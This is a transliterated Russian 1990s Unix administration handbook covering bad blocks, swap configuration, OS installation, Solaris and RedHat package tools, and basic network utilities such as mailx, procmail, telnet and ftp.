  sm. takzhe man po   ddefs, mvme328, scsi1x7, dinit, ...

     Nadeyus'  pri opisanii geometrii diska komandoj ddefs vy ne
poskupilis'  ukazat'  chislo  "Bad spots" bol'she nulya. Zameshchenie
bad-blokov vypolnyaetsya vse toj zhe komandoj dinit

dinit -n dskdeffilename /dev/rdsk/m187_c0d107
      -n             nomera bad-blokov vvodyatsya s klaviatury

dinit -t bad-list dskdeffilename /dev/rdsk/m187_c0d107
      -t bad-list    fajl so spiskom bad-blokov

     Kak protestirovat' disk na bad-bloki? U dinit est' klyuch
      -v 1   - verify with pattern

        &dDLinux: Bad-bloki&d@

     Linux'ovskij  fsck  s  klyuchom  "-c"  umeet  sam nahodit' i
lechit' ot bad-blokov (oni sobirayutsya v otdel'nyj "bad"  inode)

      # -y yes na vse voprosy,  -f force checking, -c bad-blocks
      e2fsck -c -y -f /dev/hda3

        &dD * Diagnostika oborudovaniya * &d@

        &dDMOTOROLA: Utilita testirovaniya oborudovaniya GOLD&d@

     Dlya  testirovaniya  i  diagnostiki oborudovaniya stancii
Motorola 922  mozhno  vospol'zovat'sya  utilitoj  gold.  Ona  imeet
sistemu menyu, ochen' pohozhuyu na sistemu menyu utility sysadm.

        &dDSUN:  Utilita testirovaniya oborudovaniya sundiag&d@

     Sundiag   -   mnogofunkcional'naya   utilita   testirovaniya
oborudovaniya na Sun

        &dDUnix dlya PC&d@

     Da  chego  tam  vypendrivat'sya.  Gruzites'  v  MSDOS  i tam
testirujte zhelezo vsem, chem pozhelaete.













.
        &dDVydelenie razdelov pod swap&d@

     Pod  swap  oblast'  rekomenduetsya vydelyat' ne bolee odnogo
razdela (predpochtitel'nee samogo  pervogo)  na  kazhdom  zhestkom
diske.

       Pod  swap  rekomenduetsya vydelyat' 1*RAM - 2*RAM mesta, a
esli na mashine aktivno ispol'zuetsya X-Windows, to 3*RAM.

     V  sluchae srochnoj neobhodimosti pod swap mozhno vydelit' i
obychnyj  fajl.  Sozdajte  fajl  bol'shogo   razmera,   a   zatem
podklyuchite ego pod swapping. Primer: vydelyaem 20 Mb-ovyj fajl

  dd if=/dev/zero of=/var/swapfile bs=1k count=20480

     CHtob swap podklyuchalsya avtomaticheski pri nachal'noj zagruzke,
nado vpisat' stroku v /etc/fstab - chto-nibud' tipa:

---------------------------------------------------------------
# device     mountpoint  type  flags
/dev/hdb2     none       swap   sw
---------------------------------------------------------------

        &dDMOTOROLA: swap&d@

     Posle vydeleniya razdela pod swap ego nado aktivizirovat':

  swap -a /dev/rdsk/m328_c2d0s0 0 0  # podklyuchaem razdel

  swap -a /var/swapfile 0 40960      # podklyuchaem fajl
  # Vnimanie  - zdes' dlina ukazyvaetsya v 512-bajtnyh blokah

        &dDLinux: swap&d@

# razmechaem particiyu,
# ustanavlivaem ej partition ID == 82 "Linux-swap"

  fdisk /dev/hda

# Swap-fajl dlya Linux _OBYAZAN_ lezhat' v kataloge /dev/

  dd if=/dev/zero of=/dev/swapfile bs=1k count=40000

# Posle vydeleniya razdela ili fajla pod swap ego nado propisat':

  mkswap /dev/hda2 40000 ; sync # razmer v kilobajtah

  swapon /dev/hda2       # podklyuchaem swap-razdel

  free                   # smotrim

  swapoff /dev/swapfile  # otklyuchaem swap-fajl

Dlya postoyannogo vklyucheniya dobavit' strochku
v /etc/fstab :
---------------------------------------------------------------
/dev/hdb2       none  swap   sw
---------------------------------------------------------------

        &dDHP-UX 10.20: swap&d@

     Dushka HP-UX  pozvolyaet vse zaprosto sdelat' menyushkami SAM.

     Specifika: swap v fajlovoj sisteme nazyvaetsya ekzoticheskim
slovom "File system swap",  organizuetsya  v  vide  kataloga  i
hvataet  ne  vse  srazu,  kak  imeet mesto s swap-fajlom, a "po
trebovaniyu", chem ekonomit mesto na diske.

     V HP-UX otklyuchit' na letu swap-oblast' nel'zya - otklyuchenie
swap forsiruet perezagruzku komp'yutera

Primary-swap ukazyvaetsya v konfiguracii yadra, ostal'nye v fajle
/etc/fstab

  swapon                # podklyuchaem

  swapinfo              # smotrim

        &dDSUN (Solaris i SunOS)&d@

   swap -l              # listing
   swap -s              # listing

   mkfile 40m swap-file # sozdat' svapfajl v 40 Mb

   swap -a swap-file    #  aktivizirovat' ego.

Dlya postoyannogo vklyucheniya dobavit' strochku
v /etc/vfstab:

/swap/file    -   -   swap  -   no   -




.
        &dDInstallyaciya operacionnoj sistemy&d@

       Dlya  installyacii  operacionnoj sistemy na Unix-komp'yuter
ispol'zuyutsya zagruzochnye diskety, zagruzochnye magnitnye  lenty,
a takzhe CD-ROM'y.
      S distributivnogo nositelya zagruzhaetsya minimal'naya versiya
operacionnoj sistemy  Unix,  i  pod  upravleniem  etogo  Unix-a
zapuskaetsya   programma   installyacii,   kotoraya   izvlekaet  i
ustanavlivaet s nositelya pakety.

        &dDMotorola 922. Zagruzka s magnitnoj lenty&d@

       Vstavit'  lentu  s  distributivom Unix SVR4/88. Vklyuchit'
pitanie. Posle  togo,  kak  na  konsol'nom  terminale  poyavitsya
soobshchenie

"Idle MPU: none"

nazhat' na klavishu "PROBEL"
Poyavitsya menyu iz neskol'kih punktov.

Vybiraem  "3" (System debugger) , ENTER
V  otvet  na  priglashenie  197-Diag> vvodim "bo 0 40" ENTER (0:
zagruzit' s 0-go SCSI kontrollera, 40 -  magnitnaya  lenta,  4-j
scsi-nomer) i zhdem 5 minut.

197-Diag> bo 0 40

     Boot-prom   organizuet   v  operativnoj  pamyati  RAM-disk,
schityvaet na nego s magnitnoj lenty  nachal'nye  8  Mb  -  obraz
fajlovoj   sistemy,   zagruzhaet   yadro   operacionnoj  sistemy,
montiruet RAM-disk  v  kachestve  kornevoj  fajlovoj  sistemy  i
zapuskaet  s  nego  programmu  installyacii,  upravlyaemuyu  menyu.
Dal'she nado otvetit' na nekotoroe  kolichestvo  voprosov,  posle
chego  programma  pristupit  k ustanovke paketov Unix'a, kotorye
razmeshcheny na lente vsled  za  obrazom  zagruzochnogo  RAM-diska.
Sobstvenno  izvlechenie  fajlov  s lenty zanimaet 20-40 minut, v
zavisimosti  ot  togo,  skol'ko  i  kakie  pakety   vy   reshili
ustanavlivat'.

     Pervym  voprosom  sistema  sprosit,  kakoj u vas terminal.
Otvet'te, chto u nego 24 stroki  i  on  imeet  pozicionirovanie
kursora v stile vt100 ili unknown

   Programma installyacii imeet tri osnovnyh  rezhima:

 1. Full install
 2. upgrade
 3. Maintance mode

       Vtorym  svoim  voprosom  programma installyacii predlozhit
vybrat' odin iz nih.

INSTALL   -   predusmatrivaet   polnuyu  ustanovku  operacionnoj
sistemy.  Vse  fajlovye   sistemy   na   diske   budut   zanovo
pererazmecheny  -  i, sledovatel'no, VSE FAJLY, kotorye do etogo
sushchestvovali na diske, BUDUT STERTY.

UPGRADE  - obnovlenie "starinnoj" (obrazca 1988 goda i drevnee)
sistemy do  sovremennoj  versii.  Starye  dannye  pri  etom  ne
unichtozhayutsya.(Za isklyucheniem teh, estestvenno, kotorye vklyucheny
v novoustanavlivaemye pakety).  Nas  etot  rezhim  ne  kasaetsya,
poskol'ku  u  nas  i  tak  novaya  sistema  ustanovlena s samogo
nachala.

MAINTANCE     MODE    -    odnopol'zovatel'skij    shell    dlya
superpol'zovatelya.   Podgotovlennyj    administrator    smozhet,
zagruzivshis' s  lenty, vruchnuyu zanyat'sya remontom  i ustraneniem
neispravnostej v operacionnoj sisteme, kotorye emu  ne  udalos'
by  otremontirovat', zagruzis' on s diska. (I voobshche, ne vsegda
zhe udaetsya zagruzit'sya s diska).
     Po  vyhode  iz  maintance shell'a (klavisha Ctrl-D) nazhmite
Ctrl-C,    chtob    garantirovat'   perezapusk   installyacionnoj
procedury.
     Esli  vy  installites'  na  disk  neizvestnoj  porody, vam
pridetsya pered zapuskom 1. Install ujti v Maintance modu  i  po
standartnoj sheme sdelat' opisanie etogo diska.

        &dDBesta-88. Zagruzka s magnitnoj lenty.&d@

Vstavit' master-lentu Unix'a. Vklyuchit'  pitanie.  Na konsol'nom
terminale poyavitsya soobshchenie:

boot:

Vvodim "t:unix" ENTER (Zagruzit' unix s magnitnoj lenty)

boot: t:unix

RAM-disk u Bestix'a zanimaet  1000  Kb, vsled za nim raspolozhen
arhiv formata  cpio s distributivom operacionnoj sistemy. Osta-
etsya otvetit' na neskol'ko voprosov  i  zatem  zhdat' minut 20,
poka vse soderzhimoe lenty budet izvlecheno na disk.

        &dDSun SPARCstation. Zagruzka s CD-ROM.&d@

Vstavit'  CD-ROM.  Vklyuchit'  pitanie.  Podozhdat',  poka stanciya
"razogreetsya". Nazhat' STOP+A. (STOP - levaya verhnyaya klavisha  na
levoj dopolnitel'noj klaviature). Poyavitsya boot-rom prompt Ok:

vvodim "boot cdrom". Esli SPARC staroj modeli - SS1, SS1+, SS2,
pridetsya vvodit' "boot sd(0,6,2)"

Ok boot sd(0,6,2)

Esli  priglashenie imeet drugoj vid: "> " (??), to vmesto "boot"
nado nabrat' "b"

> b sd(0,6,2)

Posle zagruzki Unix zapustite komandu "suninstall",  kotoraya  i
provedet installyaciyu.

# suninstall

        &dDLinux Slackware. Zagruzka s disket&d@

     V  Linux'e  dlya  installyacii  nuzhno  imet' dve zagruzochnye
diskety: BOOT (s nee zagruzhayutsya, na  nej  nahoditsya  yadro),  i
ROOT   (na   nej   nahoditsya  minimal'naya  fajlovaya  sistema  s
programmoj installyacii).  Obrazy  etih  disket  v  szhatom  vide
hranyatsya  v  fajlah boot*/*.gz i root*/*.gz sootvetstvenno. Vam
nuzhno vybrat' po odnomu fajlu iz  kazhdogo  mnozhestva  (naprimer
boot12/net.gz   i  root144/color144.gz)  i  izgotovit'  iz  nih
diskety. Programma GZIP.EXE -D ILI  GUNZIP.EXE  "razozhmet"  eti
fajly,  a  RAWRITE.EXE  "zal'et"  ih  na diskety. Sami pakety s
distributivom Linux mogut lezhat' na DOS-particii installiruemoj
mashiny,  na  NFS-servere,  na disketah, na CD-ROM, na magnitnoj
lente.

Zagruzites'  s  boot-diskety,  v  otvet  na prompt "Lilo boot:"
vvedite sootvetstvuyushchij parametr i  Enter,  podozhdite  nemnogo.

VNIMANIE:   Esli  vasha  mashina  s  Ethernet'noj  kartoj  ne2000
"zavisaet" pri popytke zagruzit'  yadro,  povtorite  zagruzku  s
dopolnitel'nymi parametrami, primerno takimi:

  Lilo boot: ether=10,0x320,eth0

Vstav'te  ROOT  disketu, nazhmite Enter. Kogda poyavitsya "Console
login:" zalogin'tes' kak root i zapustite:


 # fdisk /dev/hda
 # setup

        &dDLinux RedHat. Zagruzka s diskety&d@

     V Linux versii RedHat odna zagruzochnaya disketa. Gruzimsya s
nee - a dal'she vse delaem po menyushkam. Distributiv mozhet lezhat'
na lokal'nom diske, NFS, FTP, SMB-servere.

        &dDHP-UX 10.20. Zagruzka s CD-ROM&d@

     Perehvatyvaem   nachal'nuyu   zagruzku  klavishej  ESC  i  iz
PDC-promta daem komandu "nashchupat' cdrom"

BOOT-ADMIN> search scsi

....
   scsi.2.0     ... CDROM ....

     Iz vydachi vylavlivaem "scsi ID CD" i gruzim ego

BOOT-ADMIN> boot scsi.2.0

     Dal'she dejstvovat' po obstanovke, otvechaya na voznikayushchie v
menyushkah voprosy.

        &dDHP-UX 10.20. Installyaciya po seti&d@

&dDGotovim server&d@

1. Ustanovit' s Install diska paket "Network cold install utils"

1a.  (Esli nado installit' C-200 i starshe) Ustanovit' s Install
diska paket-patch ACE/PHCO-10751 "Enabling network install for ... C-200"

2. V fajl /etc/instl_boottab vpisat' neskol'ko _nezanyatyh_ adresov

3. Podmontirovat' Install CD i zaregistrirovat' ego kak Depot

   mount /dev/dsk/c0t2d0 /cdrom
   /usr/sbin/swreg    -l depot /cdrom

4. Ne zabyt' po okonchanii rabot razregistrirovat' Depot

   /usr/sbin/swreg -u -l depot /cdrom

&dDNa stancii&d@

Perehvatit' PDC-boot prompt (ESC ili Break v pervye 10 sek)

PDC> search lan install

Nekotorye  stancii  mogut  nichego ne obnaruzhit', no vse ravno -
togda vtemnuyu daetsya komanda

PDC> boot lan.10.188.101.14.3.52 install

gde 10.188.101.14 - IP adres servera,
a chto takoe 3.52 - ne znaet nikto
.
        &dDPakety: ustanovka dopolnitel'nogo softa&d@

        &dD * Kak ustanavlivat' pakety v Solaris 2.5 * &d@

        &dDAdministrirovanie programmnogo obespecheniya&d@


       |tot  vopros  ochen'  vazhen  dlya  podderzhki  i obnovleniya
programmnogo  obespecheniya.  Dlya  etoj   celi   v   OS   Solaris
predusmotren  special'nyj  mehanizm,  podderzhivaemyj  s pomoshch'yu
utilit  "pkgadd"  i  "pkgrm",  sootvetstvenno   dobavlyayushchih   i
udalyayushchih   pakety   iz   sistemy.   CHtoby  eti  utility  mogli
operirovat'  s  paketami,  oni  dolzhny  byt'   predstavleny   v
sootvetstvuyushchem  vide,  ili formate. K sozhaleniyu, daleko ne vse
programmnye  produkty  dostupny  neposredstvenno   v   formate,
prigodnom  dlya  "pkgadd". Podavlyayushchee bol'shinstvo produktov dlya
Unix, dostupnyh  cherez  Internet,  nahodyatsya  v  vide  ishodnyh
tekstov,  kotorye  nado  otkompilirovat' i skopirovat' v nuzhnye
mesta. |to imeet mesto, t.k. OS Unix ustanovlena na  mashinah  s
razlichnymi tipami processorov i razlichnoj arhitekturoj.

Original is here

        &dDRuchnaya ustanovka&d@

                         Glava podgotovlena Sergeem Bogomolovym

Zdes'  opisana  tol'ko  ustanovka  paketa  dlya sebya (standalone
system), esli vam nuzhno ustanovit' paket v rezhime
server/dataless/diskless - chitajte drugie knizhki (delat' eto nado
tol'ko s bol'shoj toski).


1. Stan'te superpol'zovatelem
2. vvedite:
	/usr/sbin/pkgadd -d imya_direktorii_gde_lezhit_paket imya_paketa

    naprimer:
        /usr/sbin/pkgadd -d /cdrom/solaris_2_5/s0/Solaris_2.5 SUNWpkgA

    mozhno ustanovit' neskol'ko paketov srazu (ukazhite ih imena cherez probely).

Imya paketa mozhno uznat' iz instrukcii ili s pomoshch'yu komandy:
         /usr/sbin/pkginfo -d imya_direktorii_gde_lezhit_paket

Vnimanie: Solaris ne ochen' horosho otslezhivaet vzaimozavisimost' mezhdu
     paketami, tak chto vy sami dolzhny pozabotit'sya o poryadke ustanovki.
Mnogie pakety lyubyat zadavat' vsyakie voprosy vo vremya ustanovki (kuda
      vse eto pomestit', ves' li paket ustanovit' i t.d.), tak chto
      bud'te gotovy. Naprimer, pri ustanovke toma AnswerBook sprashivaetsya,
      chto kopirovat' na zhestkij disk: opisanie ili ves' tom.
      Esli vy kopiruete tol'ko opisanie, to ishodnyj CD-ROM dolzhen
      byt' ustanovlen kazhdyj raz, kogda vy zapuskaete AnswerBook, inache
      nenajdennyj tom budet pomechen kak "nezhivoj" i ego pridetsya
      vosstanavlivat'. Kstati, toma razbrosany po 7 diskam!!!

-----------------------------------------------------------------

        &dDProverka ustanovki paketa.&d@

/usr/sbin/pkgchk <imya_paketa>

-----------------------------------------------------------------

        &dDPoluchenie informacii o pakete:&d@

/usr/bin/pkginfo -l <imya_paketa>

naprimer:
   pkginfo -l SUNWcar

   PKGINST:  SUNWcar
      NAME:  Core Architecture, (Root)
  CATEGORY:  system
      ARCH:  sparc.sun4m
   VERSION:  11.5.1,REV=94.07.15.22.10
   BASEDIR:  /
    VENDOR:  Sun Microsystems, Inc.
      DESC:  Core Architecture, (Root)
    PSTAMP:  fourstar940718191413
  INSTDATE:  Aug 16 1995 03:39
   HOTLINE:  Please contact your local service provider
    STATUS:  completely installed
     FILES:     51 installed pathnames
                16 shared pathnames
                 7 directories
                29 executables
              3794 blocks used (approx)

---------------------------------------------------------------

        &dDUdalenie paketa:&d@

    /usr/sbin/pkgrm <imya_paketa>

---------------------------------------------------------------

        &dDRabota s paketami v graficheskom interfejse&d@

 (swmtool dlya 2.4 ili admintool dlya 2.5)
ne nado ustanavlivat' AnswerBook s ih pomoshch'yu.

                       SWMTOOL

zapusk:

1. stan'te superpol'zovatelem
2. perejdite v graficheskij rezhim, esli vy eshche ne pereshli v nego
3. vvedite:
   /usr/sbin/swmtool &

 Na ekrane voznikaet novoe okno, programma dolgo-dolgo sobiraet
informaciyu ob uzhe installirovannyh paketah, zatem  perehodit  v
rezhim    ustanovki    (rezhim    INSTALL/REMOVE    pereklyuchaetsya
sootvetstvuyushchimi knopochkami) i, skoree vsego, soobshchaet vam, chto
"ustrojstvo  ne  gotovo, pomenyajte ustanovki (property)" Delo v
tom, chto swmtool  po  umolchaniyu  schitaet,  chto  ustanavlivaemyj
paket  lezhit  na  CD-ROM  i  menedzher  tomov vyklyuchen. Esli eto
dejstvitel'no tak, to vstav'te CD-ROM pered  zapuskom  swmtool.
Inache  nazhmite knopku Props... (ustanovki), voznikaet blank, na
stranice (kategorii) Source  Media  kotorogo  vam  nado  zadat'
ustrojstvo ili direktoriyu, gde lezhit paket.

 Naprimer,  menyaem  Media  Type na Mounted Directory, Directory
Name ustanavlivaem v  /cdrom/cdrom0  (ustanovka  s  CD-ROM  pri
vklyuchennom  menedzhere  tomov)  i  nazhimaem knopku Apply. Esli v
ukazannoj vami direktorii est' pakety,  to  ih  opisaniya  budut
perechisleny   v   glavnom  okne  swmtool.  Dlya  kazhdogo  paketa
ukazyvaetsya: ikonka (odin yashchik  -  prostoj  paket  -  na  takuyu
ikonku  mozhno zhat' dva raza, i poyavlyaetsya podrobnoe opisanie, 3
yashchika - sostavnoj paket - na takuyu ikonku mozhno zhat' dva raza, i
ona   raskryvaetsya   v  spisok  vnutrennih  paketov  -  uroven'
vlozhennosti ne ogranichen), opisanie paketa i ego predpolagaemyj
razmer.  Vybiraete  neobhodimye  vam  pakety i nazhimaete knopku
Begin  Installation  (nachat'  ustanovku).  Dalee  ves'   dialog
proishodit v a/c rezhime kak pri ustanovke pkgadd. Kstati, blank
ustanovok imeet bol'shoe kolichestvo  knopochek,  menyushek  i  pr.:
est' s chem poigrat'sya...

 Dlya  togo,  chtoby  udalit'  paket,  nazhimaete  knopku  Remove,
vybiraete  paket  (pakety),  kotoryj  vy  hotite  udalit',   i
nazhimaete knopku Begin Removal.

        &dDIzgotovlenie sobstvennogo paketa&d@

CHtoby  legche  administrirovat'  etot razroznennyj nabor fajlov, poluchayushchijsya
posle  kompilyacii,  ih   mozhno   privesti   k   formatu   utility   "pkgadd"
samostoyatel'no.  Legche  vsego etot vopros rassmotret' na konkretnom primere.
Pust' u nas est' paket, sostoyashchij iz 3h programm: "MyProg.bin", "Myprog.lib"
i  "MyProg.man",  kotorye  dolzhny  hranit'sya  v  katalogah "/usr/local/bin",
"/usr/local/lib" i "/usr/local/man" sootvetstvenno.  CHtoby  sdelat'  iz  nih
paket, nado prodelat' sleduyushchie prostye shagi:

     a)  Sozdadim  direktoriyu, gde  budut  hranit'sya  ishodnye
dannye dlya utility "pkgmk", kotoraya i delaet sobstvenno  paket.
Pust' v nashem primere eto budet direktoriya "~/tmp/MyPackage".

     b)  Sozdadim  pod  nim  sistemu  direktorij,  gde  dolzhny
raspolagat'sya fajly paketa, i zatem skopiruem eti fajly na svoi
mesta.  T.o.  v  rezul'tate  u  nas  dolzhny  poluchit'sya  fajly:

~/tmp/MyPackage/bin/MyProg.bin, ~/tmp/MyPackage/lib/MyProg.lib
i ~/tmp/MyPackage/man/MyProg.man

     v)  Zatem  nado sozdat' fajly "pkginfo" i "prototype". Oni
dolzhny vyglyadet' primerno tak (bolee  podrobnuyu  informaciyu  ob
etih  fajlah vy mozhete poluchit', nabrav komandy

    man -s4 pkginfo
    man -s4 prototype

Fajl "prototype":

!PROJDIR=/usr/local
1 i pkginfo=pkginfo
1 d none bin 0755 root other
1 f none bin/MyProg.bin 0644 root other
1 d none lib 0755 poul insects
1 f none lib/MyProg.lib 0644 root other
1 d none man 0755 poul insects
1 f none man/MyProg.man 0644 root other


Fajl "pkginfo":

PKG=MyProg
NAME=MyPackage
ARCH=sparc
VERSION=Version 1.0
CATEGORY=application
VENDOR=Pavel K. Klodin
EMAIL=webmaster@reksoft.ru
PSTAMP=Pstamp
BASEDIR=/usr/local
CLASSES=none


     g)  Posle  togo,  kak  fajly  sdelany,  vypolnim sleduyushchie
komandy:

cd ~/tmp/MyPackage
pkgmk -o -d /tmp -r .


     Posle  etogo  v direktorii "/tmp" budet sozdan paket "MyPackage" v vide
struktury fajlov  i  direktorij.  S  nim  uzhe  mozhno  operirovat'  utilitoj
"pkgadd".   d)   Teper',  nakonec,  vypolnim  komandy  (predvaritel'no  stav
superpol'zovatelem s pomoshch'yu komandy "su -"):

cd /tmp
pkgadd -d .


     PRIMECHANIE:   Sleduet   pomnit',  chto  pakety  mogut  byt'
predstavleny v dvuh ravnopravnyh formah:

    v vide struktury direktorij (kak uzhe bylo rassmotreno vyshe);
    v vide tak nazyvaemyh "potokovyh paketov" (stream packages).

     Oni  predstavlyayut  soboj  prostoj  fajl,  kak esli by byli
zapisany  na  strimmernoj   kassete   ili   kakom-libo   drugom
posledovatel'nom  ustrojstve  (otsyuda,  vozmozhno,  i nazvanie).
Obrashchat'sya s nimi sleduet tak zhe, kak i s "obychnymi" paketami  v
vide  struktury  direktorij  i  fajlov.  |ti  2  formy vzaimno
preobrazuyutsya komandoj "pkgtrans".

              Sovetom podelilsya Pavel Klodin

        &dDSummary of pkg commands:&d@

	    pkginfo {pkg}   - test for presents of package.
	    pkgadd -d /cdrom/Solaris_2.3 <pkg ...>
			    - add missing packages
	    pkgrm {pkg ...} - remove packages.
	    pkgchk -q {pkg} - test for existance of package
	    pkgchk {options} [pkg] - check installed packages for
	    integrity.

    Let's say your Solaris2 workstation is called "sol" and the
    4.1.x server is called "bertha" and you want the printer name
    to be "printer" (imaginative, eh?).

    sol# lpsystem -t bsd bertha             # says bertha is a bsd system
    sol# lpadmin -p printer -s bertha       # creates "printer" on "sol"
					    # to be printed on "bertha"
    sol# accept printer                     # allow queuing
    sol# enable printer                     # allow printing
    sol# lpstat -t                          # check the status

    sol# lpadmin -d printer       # default

    To get transparent mode, try this:

    lpadmin -I any -p printer

        &dD * Pakety v Linux RedHat * &d@

Postavit' paket

    rpm -i filesystem-1.2-1.i386.rpm

Udalit' paket

    rpm --erase filesystem-1.2-1

Spisok vseh paketov

    rpm -qa

Spisok fajlov, vhodyashchih v neustanovlennyj paket:

    rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it

 rpm2cpio  <  packetname-1.2-1.i386.rpm  | cpio -it rpm2cpio < packetn
name-1.2-1.i386.rpm | cpio -it
    rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it

Spisok fajlov, vhodyashchih v ustanovlennyj paket:

    rpm -l   nfs-server-2.2beta16-5

Apdejty k RedHat lezhat zdes'. Obyazatel'no stavit' security updates
 ftp://ftp.funet.fi/pub/Linux/mirrors/redhat/redhat/redhat-4.2/updates/i386/

Ustanovka apdejta
    rpm -Uvh samba-1.9.18p7-0.i386.rpm

        &dD * Pakety v HP-UX 10.20 * &d@

Pakety v HP-UX stavyatsya cherez podmenyushku SAM.

Spisok vseh paketov

    swlist -l product
.
        &dDNeskol'ko setevyh komand Unix&d@

        &dD1. ping&d@.   Prozvonit' udalenuyu mashinu.

Proveryaet, otklikaetsya li ukazannaya mashina po seti:

  ping host.name

Vklyuchit' nepreryvnuyu "prozvonku" (s intervalom v 1 sek.):

  ping -s host.name

Prervat'  "prozvonku"  - Strl-S .


        &dD2. finger&d@. Kto rabotaet v sisteme.

Format ispol'zovaniya:

  finger [-l]   pol'zovatel'@setevoe.imya.komp'yutera

Kto rabotaet na mashine po imeni ipsun.ras.ru :

  finger @ipsun.ras.ru

Kak pozhivaet pol'zovatel' Moshkov na etoj mashine:

  finger -l moshkow@ipsun.ras.ru

        &dD3. talk&d@.   Vyzvat' pol'zovatelya na razgovor

  talk  moshkow           ili
  talk moshkow@fedfond -  vyzvat'  ukazannogo  pol'zovatelya  na
                          ukazannoj mashine na razgovor.

U etogo pol'zovatelya na ekrane poyavitsya priglashenie pogovorit':

  Message from Talk_Daemon@ipsun at 23:29 ...
  talk: connection requested by ivanov@server.fedfond.msk.su
  talk: respond with:  talk  ivanov@server.fedfond.msk.su

I esli on naberet otvetnuyu komandu

  talk ivanov@server.fedfond.msk.su

To vy smozhete pogovorit'  drug  s drugom. Okonchanie razgovora -
Ctrl-C

        &dD4. mailx&d@.  Poslat' komu nibud' elektronnuyu pochtu.

/* v Linux nado ispol'zovat' ne mailx, a prosto mail */

  mailx  username@host.name
Subject: Tema pis'ma
Tekst soobshcheniya
   . . .
Okonchanie teksta soobshcheniya



CHtoby okonchit' vvod teksta pis'ma, v pustoj stroke nazhmite
Ctrl-D. Ili postav'te tochku "." v nachale stroki i nazhmite ENTER.

  Esli pis'mo uzhe gotovo i nahoditsya v  fajle  let.txt, to otp-
ravit' ego mozhno tak:

mailx -s "Proverka pochty" semen@server.fedfond.spb.su < let.txt

        &dD5. mailx&d@.  Prochitat' prishedshuyu na moj adres pochtu.

mailx,  zapushchennyj  bez argumentov, perehodit v komandnyj rezhim
chteniya postupivshej pochty.  V  etom  rezhime  mozhno  pol'zovat'sya
takimi komandami:

        ?              - vydat' help po vsem dostupnym komandam
        h 12           - zagolovki pisem nachinaya s 12-go nomera
        6              - chitat' 6-oe pis'mo
        d              - unichtozhit' tekushchee pis'mo
        s fajl         - sohranit' pis'mo v fajle "fajl"
        r              - otvetit' na pis'mo

dlya nastroek programmy mailx ispol'zuetsya fajl .mailrc, kotoryj
dolzhen  lezhat'  v  domashnem  kataloge   pol'zovatelya.   V   nem
zhelatel'no imet' strochki takogo primerno soderzhaniya:

########### vstav'te eti stroki v svoj fajl   .mailrc    !!!!
set crt=22
set record='/home/moshkow/Mail.sended'
##############################################################
# chtoby dlinnye pis'ma "listalis'" postranichno komandoj more ;
# sohranyat'  kopii vseh otpravlennyh  pisem
# v fajle /home/moshkow/Mail.sended ;

alias max    moshkow@ipsun.ac.msk.su
alias kafedra petrov smirnov@nic.com lapin@sovim.mit.edu

#  pochtovye aliasy - mozhno zadat' sinonimy dlya dlinnyh pochtovyh
# adresov ili  gruppy  adresov,  i  ispol'zovat'  eti  sinonimy
# vmesto adresa pri otpravke pochty

Esli  vy  hotite zavesti sebe blagozvuchnoe imya dlya adresa svoej
elektronnoj pochty, vstav'te v fajl /etc/aliases primerno  takie
strochki:

Maksim.Moshkow: moshkow
moshkov:        moshkow

        i vypolnite komandu

    newaliases

I teper' mne mozhno otpravlyat' pis'ma po takim adresam:

        moshkow@moshkow.ru
        moshkov@moshkow.ru
        Maksim.Moshkow@moshkow.ru

     Esli  vy  hotite pereadresovyvat' vse prishedshie vam pis'ma
na drugoj adres, sozdajte fajl $HOME/.forward i vpishite v nego

novyj@email.adres

   ili, esli nuzhno otsylat' pis'ma, no ostavlyat' sebe kopiyu, to

\yourlogin, newadres@email.adres


Esli ispol'zuetsya Linux, to mozhno pol'zovat'sya sistemoj procmail
CHtoby  pis'ma  prislannye vam po spisku rassylki skladyvalis' v
otdel'nyj folder, pomestite v svoj $HOME/.procmailrc :
###############################################################
####### Udalyaem dublirovannie pisem (s odinakovym message-id)
:0 Wh: msgid.lock
| formail -D 8192 msgid.cache

####### Mail-listy sbrasyvaem v otdel'nyj folder
:0
* ^(Sender|To|CC): .*(ezh@cdru.com|ezh@ezhe.com|banners@list.techno.ru)
nsmail/ezh

####### Perenapravit' telo pis'ma (bez zagolovka) na programmu
:0 b
* Subject: .*uuencoded
| uudecode

####### Esli  pis'mo  nebol'shogo  razmera  i  ne kasaetsya mailing-lista
####### "zhurnal@sharat.co.il" to kopiyu peresylat' na moj domashnij email.
#######$HOME/.procmailrc :
:0 c
* < 10000
* !^To: .*zhurnal
! moshkow@home.moshkow.ru

####### Posylaem podtverzhdenie o poluchenii pisem bol'she 30Kb
:0 h c
* > 30000
* !^From: CityCat
* !^From: .*linux
* !^FROM_DAEMON
* !^Subject: BOOK614
* !^X-Loop: moshkow@moshkow.ru
| ( egrep -v  '^From moshkow|^Return-Path: moshkow' | formail -r -A"Precedence: junk" -A"X-Loop: moshkow@moshkow.ru" ; echo "Thanks, I have got your mail.") | $SENDMAIL -t
###############################################################

        &dD6. telnet&d@. Zaloginit'sya na udalennuyu mashinu.

  telnet host.name

Komanda telnet pozvolyaet vam zaloginit'sya na udalennuyu mashinu,
i rabotat' na nej, kak-budto vy sidite za terminalom, podklyu-
chennym neposredstvenno k nej.

U komandy telnet est' "goryachij klyuch" "Ctrl-]" , kotoryj perevo-
dit  telnet v komandnyj rezhim. V etom rezhime mozhno menyat' para-
metry raboty telnet'a. Vyhod iz komandnogo rezhima - ENTER.
Sredi poleznyh komand nazovu tak zhe "exit" i "help"

        &dD7. ftp&d@.    File Trasfer Protocol. Peresylka fajlov.

CHto delat', esli nuzhno "peretashchit'  fajl"  s  chuzhoj  mashiny  na
svoyu  (ili  naoborot), a NFS mezhdu nimi ne zapushchen? Ispol'zujte
programmu ftp. |to prosten'kaya komanda, pozvolyayushchaya  peresylat'
fajly mezhdu mashinami po protokolu TCP/IP.

    ftp host.name

User name (moshkow): ivanov
Passwd:

        Udalennaya  mashina  sprosit u vas vashe vhodnoe imya i pa-
rol' (pod kotorymi vy zaregistrirovany  NA  UDALENNOJ  mashine).
Esli  vy na nej ne zaregistrirovany, poprobujte ukazat' vhodnoe
imya "anonymous", a v kachestve parolya - svoj email-adres.

Posle etogo ftp perehodit v komandnyj rezhim. V etom  rezhime  vy
mozhete "peremeshchat'sya" po katalogam udalennoj mashiny, po katalo-
gam svoej mashiny, prosmatrivat' ih oglavlenie, i zabirat' fajly
ottuda k sebe, ili klast' ih ot sebya - tuda.

ftp> help       - govorit samo za sebya
ftp> quit       - zavershit' rabotu
ftp> bin        - ustanovit' rezhim peresylki binarnyh fajlov
                  (nastoyatel'no rekomenduyu)

